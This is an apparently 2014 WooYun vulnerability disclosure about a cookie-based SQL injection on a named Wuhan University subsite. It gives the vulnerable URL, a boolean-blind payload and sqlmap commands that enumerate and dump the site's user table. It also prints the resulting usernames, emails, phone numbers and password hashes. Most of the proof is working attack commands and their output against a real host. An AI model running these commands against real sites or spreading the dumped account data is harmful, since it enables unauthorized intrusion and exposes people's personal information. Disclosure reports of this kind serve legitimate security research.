当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062791

漏洞标题：武汉大学某分站#Cookie Injection

相关厂商：武汉大学

漏洞作者： 从容

提交时间：2014-05-30 15:27

修复时间：2014-06-04 15:28

公开时间：2014-06-04 15:28

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-30： 细节已通知厂商并且等待厂商处理中
2014-06-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

武汉大学某分站#Cookie Injection

详细说明：

Cookie Injection地址：

http://jpkt.whu.edu.cn/jpkc2003/ytysbx/DownloadShow.asp?ID=73


---
Place: Cookie
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=73 AND 1286=1286
---

漏洞证明：

#1、获取表段：

sqlmap -u http://jpkt.whu.edu.cn/jpkc2003/ytysbx/DownloadShow.asp --cookie ID=73 --table --level 2


Database: Microsoft_Access_masterdb
[10 tables]
+----------+
| user     |
| book     |
| download |
| email    |
| job      |
| links    |
| main     |
| news     |
| product  |
| vote     |
+----------+


#2、获取字段：

sqlmap -u http://jpkt.whu.edu.cn/jpkc2003/ytysbx/DownloadShow.asp --cookie ID=73 --columns -T user --leve 2


Database: Microsoft_Access_masterdb
Table: user
[14 columns]
+----------------+-------------+
| Column         | Type        |
+----------------+-------------+
| bigclassname   | non-numeric |
| email          | non-numeric |
| homepage       | non-numeric |
| id             | numeric     |
| logins         | numeric     |
| password       | non-numeric |
| phone          | non-numeric |
| question       | numeric     |
| smallclassname | non-numeric |
| system         | non-numeric |
| title          | non-numeric |
| userid         | numeric     |
| username       | non-numeric |
| zip            | numeric     |
+----------------+-------------+


#3、猜解内容：

sqlmap -u http://jpkt.whu.edu.cn/jpkc2003/ytysbx/DownloadShow.asp --cookie ID=73 --dump -T user -C email,phone,system,username,password --leve 2


Database: Microsoft_Access_masterdb
Table: user
[5 entries]
+-----------------+------------------+-----------------------+-----------+------------------+
| phone           | email            | system                | username  | password         |
+-----------------+------------------+-----------------------+-----------+------------------+
| +8611           | 11@11.com        | Win98, Win2000, WinXP | eeeeee    | f753a06ee79fc75d |
| +8611111        | 111111@ww.com    | Win98, Win2000, WinXP | 111111    | 965eb72c92a549dd |
| +86-02-63763008 | 12@12.12         | Win98, Win2000, WinXP | gaoqiao   | 2042282e8b8dd9a3 |
| +8622           | 22@22.com        | Win98, Win2000, WinXP | 222222    | 1a0a1fdaad01296d |
| 82727878        | gaoqiao@eyou.com | Win98, Win2000, WinXP | wangliang | <blank>          |
+-----------------+------------------+-----------------------+-----------+------------------+

修复方案：

:)

版权声明：转载请注明来源 从容@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-04 15:28

厂商回复：

最新状态：

暂无